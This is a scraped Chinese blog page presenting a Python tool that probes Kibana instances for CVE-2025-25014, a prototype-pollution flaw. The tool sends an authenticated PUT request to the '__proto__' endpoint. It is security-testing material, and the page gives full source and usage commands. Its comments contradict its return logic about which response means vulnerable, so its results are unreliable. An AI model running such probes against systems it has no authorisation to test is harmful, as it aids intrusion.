2026/5/20 23:33:37
网站建设
项目流程
google网站地图格式,制作网站公司唐山,淘宝引流推广平台,如何做网站啊Kibana原型污染漏洞检测工具
项目标题与描述
CVE-2025-25014 Kibana漏洞检测器
这是一个专门用于检测CVE-2025-25014漏洞的Python工具。该漏洞是Kibana中的一个严重原型污染漏洞#xff0c;可导致远程代码执行#xff08;RCE#xff09;#xff0c;影响Kibana 8.3.0至8.17.…Kibana原型污染漏洞检测工具项目标题与描述CVE-2025-25014 Kibana漏洞检测器这是一个专门用于检测CVE-2025-25014漏洞的Python工具。该漏洞是Kibana中的一个严重原型污染漏洞可导致远程代码执行RCE影响Kibana 8.3.0至8.17.5版本以及8.18.0和9.0.0版本。本工具通过向Kibana的特定API端点发送精心构造的HTTP请求验证目标系统是否存在该安全漏洞。功能特性漏洞检测通过向Kibana的__proto__端点发送PUT请求检测原型污染漏洞身份认证支持支持使用Basic认证进行身份验证代理支持可通过代理服务器进行漏洞检测详细输出提供彩色终端输出清晰显示检测结果错误处理包含完整的异常处理和SSL证书验证跳过功能灵活配置支持通过命令行参数灵活配置目标URL、认证信息和代理设置安装指南系统要求Python 3.6requests库网络访问权限能够访问目标Kibana实例安装步骤安装Python依赖pipinstallrequests下载检测脚本gitclone项目仓库地址cdkibana-cve-2025-25014-detector设置执行权限Linux/macOSchmodx CVE-2025-25014.py依赖项requests用于发送HTTP请求urllib3用于处理URL和HTTP连接argparse用于解析命令行参数使用说明基础使用最基本的检测命令格式python3 CVE-2025-25014.py https://target-kibana-server:5601-uusername-ppassword参数详解参数简写说明必选url-目标Kibana服务器的URL是-u, --user-uKibana认证用户名是-p, --password-pKibana认证密码是--proxy-代理服务器URL否使用示例示例1基础检测python3 CVE-2025-25014.py https://192.168.1.100:5601-uadmin-ppassword123示例2通过代理检测python3 CVE-2025-25014.py https://kibana.company.com-uelastic-psecurepass--proxyhttp://proxy-server:8080输出说明目标存在漏洞显示红色文字Target is vulnerable目标不存在漏洞显示Target is not vulnerable典型使用场景安全审计在安全审计过程中快速扫描Kibana实例漏洞验证验证已修复的系统是否真正安全渗透测试在授权测试中验证漏洞存在性安全监控定期检查生产环境中的Kibana实例漏洞背景信息CVE-2025-25014是一个严重的原型污染漏洞影响Kibana的Machine Learning和Reporting功能CVSS评分9.1/10严重影响范围Kibana 8.3.0至8.17.5以及8.18.0和9.0.0利用条件需要高权限认证且Machine Learning或Reporting功能已启用修复版本8.17.6、8.18.1、9.0.1或更新版本核心代码主检测函数defcheck(url:str,auth:str,proxies:dict|NoneNone)-bool: 检测目标Kibana实例是否存在CVE-2025-25014漏洞 参数: url: 目标Kibana的URL auth: Basic认证字符串base64编码 proxies: 代理服务器配置字典 返回: bool: True表示存在漏洞False表示不存在漏洞 # 构造目标URL指向__proto__端点urlurljoin(url,__proto__)# 设置请求头包含认证信息和内容类型headers{Authorization:fBasic{auth},# Basic认证Content-Type:application/json,# JSON格式请求体Connection:close# 请求后关闭连接}# 构造请求数据模拟正常的索引映射创建请求data{mappings:{properties:{timestamp:{type:date},test_field:{type:keyword},by_field:{type:keyword},value:{type:float}}}}# 发送PUT请求到目标端点responserequests.put(url,headersheaders,jsondata,verifyFalse,# 跳过SSL证书验证proxiesproxies)# 检查响应状态码正常情况应该返回400错误ifresponse.status_code!400:returnFalse# 检查响应内容是否包含特定错误信息# 如果包含Invalid index name [__proto__]说明系统正确处理了恶意请求ifreason:Invalid index name [__proto__]notinresponse.text:returnFalse# 只有同时满足上述两个条件才判断为不存在漏洞returnTrue命令行参数解析if__name____main__: 主程序入口点处理命令行参数并执行漏洞检测 # 创建参数解析器设置工具描述parserargparse.ArgumentParser(descriptionCheck Kibana vulnerability)# 定义必需参数parser.add_argument(url,helpTarget Kibana URL (https://ip:port))parser.add_argument(-u,--user,requiredTrue,helpUsername for authentication)parser.add_argument(-p,--password,requiredTrue,helpPassword for authentication)parser.add_argument(--proxy,helpProxy URL (optional))# 可选代理参数# 解析命令行参数argsparser.parse_args()# 将用户名和密码编码为Basic认证格式basic_authb64encode(f{args.user}:{args.password}.encode()).decode()# 配置代理设置如果提供了代理参数proxies_dictNoneifargs.proxy:proxies_dict{http:args.proxy,https:args.proxy}# 执行漏洞检测并输出结果ifcheck(args.url,basic_auth,proxiesproxies_dict):# 使用红色文字输出漏洞存在警告print(\033[91mTarget is vulnerable\033[0m)else:# 正常输出无漏洞信息print(Target is not vulnerable)初始化代码importargparsefromurllib.parseimporturljoinfrombase64importb64encodeimportrequestsimporturllib3# 禁用SSL警告避免证书验证干扰输出urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)安全说明本工具仅用于授权的安全测试和教育目的。禁止未经授权对任何系统进行测试。使用前请确保已获得目标系统的测试授权。6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPELBDEtksiPi2p7hvmwL/d更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享